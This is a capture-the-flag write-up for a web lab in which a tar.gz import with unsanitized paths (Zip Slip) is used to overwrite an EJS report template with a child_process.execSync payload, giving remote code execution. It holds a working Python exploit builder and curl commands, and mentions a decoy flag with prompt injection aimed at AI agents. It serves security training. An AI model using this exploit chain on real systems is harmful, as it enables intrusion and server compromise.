Lab 155 — DataCraft — Path Traversal via Archive Import (Zip Slip)
Lab 155 — DataCraft — Path Traversal via Archive Import (Zip Slip)
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-11 | Status: Solved Techniques: child_process_exec, decoy_flag_recognition, ejs_ssti_to_rce, template_file_overwrite, zip_slip_tar_path_traversal
Summary
Task: analytics platform with tar.gz dataset import that extracts archives without path sanitization, and EJS report templates rendered server-side. Solution: craft a malicious tar.gz with path traversal (../../) to overwrite an EJS report template with RCE payload, then trigger template rendering to read /root/flag.txt.
Lab 155 — DataCraft — Path Traversal via Archive Import (Zip Slip) — Hackadvisor
Description
DataCraft is a web-based analytics platform built by CraftData Inc. that lets teams import, analyze, and visualize datasets. Users can upload compressed data archives containing CSV files, generate custom reports from templates, and share insights through dashboards.
The platform supports bulk dataset imports via .tar.gz archives for convenient data onboarding. Once imported, datasets are indexed and made available for reporting. The report engine renders dynamic templates with access to platform data.
Target: https://80687e78-8e07-4e9c-b36f-8218592cce8f.labs.hackadvisor.io/
Credentials: user@test.com / password123
Objective: Explore the application's data processing pipeline and file handling mechanisms to access sensitive server-side information.
Analysis
Reconnaissance
After logging in with the provided credentials, the application reveals an Express.js backend (behind nginx/1.25.5) with EJS templating engine. Key endpoints discovered:
- Dashboard (
/) — stats, recent datasets, activity feed - Datasets (
/datasets) — list of imported datasets - Import (
/datasets/import) — upload.tar.gzarchives via POST multipart form withnameandarchivefields - Reports (
/reports) — 8 report templates (executive-summary, quarterly-review, trend-analysis, etc.) with "View" links at/reports/<slug> - Settings (
/settings)
The import page reveals critical path information:
- "Each dataset is stored in its own directory under
/app/data/datasets/" - Supported format:
.tar.gz(gzip-compressed tar archive) - CSV files found in the archive are automatically indexed
Viewing a report (e.g., /reports/executive-summary) reveals in an HTML comment:
html read-only • copy allowed<!-- Template: /app/data/reports/executive-summary.ejs -->
This confirms EJS template engine and that report templates are stored at /app/data/reports/<slug>.ejs.
Honeypot Detection
The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden divs and HTML comments, with prompt injection text trying to trick AI agents into stopping. This is NOT the real flag.
Vulnerability Identification
Vulnerability #1: Zip Slip (Path Traversal via Archive Import)
The tar.gz import at POST /datasets/import extracts archive contents to /app/data/datasets/<name>/ without sanitizing filenames for path traversal sequences (../). This allows writing arbitrary files anywhere on the filesystem by crafting tar entries with traversal paths.
Vulnerability #2: EJS Server-Side Template Injection
Report templates at /app/data/reports/*.ejs are rendered by the EJS template engine when visiting /reports/<slug>. Since we can overwrite these files via Zip Slip, we can inject arbitrary EJS code that gets executed server-side.
Attack Chain
The key insight is the relative path relationship between the two directories:
/app/data/datasets/<name>/ ← archive extraction target
/app/data/reports/<slug>.ejs ← EJS templates rendered server-side
From /app/data/datasets/<name>/, the traversal ../../reports/executive-summary.ejs resolves to /app/data/reports/executive-summary.ejs. This allows overwriting a report template with an EJS RCE payload, which gets executed when visiting /reports/executive-summary.
Solution
Step 1: Create Malicious tar.gz with Path Traversal
python read-only • copy allowed#!/usr/bin/env python3 import tarfile import io # EJS payload that executes OS commands via Node.js child_process payload = '''<h1>Test</h1> <%- global.process.mainModule.require('child_process').execSync('cat /flag* /root/flag* /app/flag* 2>/dev/null || find / -name "flag*" -type f 2>/dev/null | head -20').toString() %> ''' buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tar: # Add a legitimate CSV file so the import looks normal csv_data = b'id,name,value\n1,test,100\n' csv_info = tarfile.TarInfo(name='data.csv') csv_info.size = len(csv_data) tar.addfile(csv_info, io.BytesIO(csv_data)) # Add the malicious file with path traversal to overwrite report template malicious_data = payload.encode() mal_info = tarfile.TarInfo(name='../../reports/executive-summary.ejs') mal_info.size = len(malicious_data) tar.addfile(mal_info, io.BytesIO(malicious_data)) buf.seek(0) with open('exploit.tar.gz', 'wb') as f: f.write(buf.read())
Step 2: Upload the Malicious Archive
bash read-only • copy allowedTARGET="https://80687e78-8e07-4e9c-b36f-8218592cce8f.labs.hackadvisor.io" # Login and save session cookie curl -sk -c cookies.txt "$TARGET/login" -X POST \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123" # Upload malicious tar.gz via the import endpoint curl -sk -b cookies.txt "$TARGET/datasets/import" -X POST \ -F "name=TestExploit" \ -F "archive=@exploit.tar.gz;type=application/gzip"
Response: 302 Found redirect to /datasets — upload succeeded. The archive was extracted to /app/data/datasets/TestExploit/, and the path traversal caused ../../reports/executive-summary.ejs to overwrite the original report template.
Step 3: Trigger Template Rendering for RCE
bash read-only • copy allowedcurl -sk -b cookies.txt "$TARGET/reports/executive-summary"
Response:
html read-only • copy allowed<h1>Test</h1> FLAG{REDACTED} /root/flag.txt /usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/flags.h /usr/lib/gcc/x86_64-alpine-linux-musl/13.2.1/plugin/include/flag-types.h
The EJS template was rendered server-side, executing child_process.execSync() which read /root/flag.txt and returned the flag.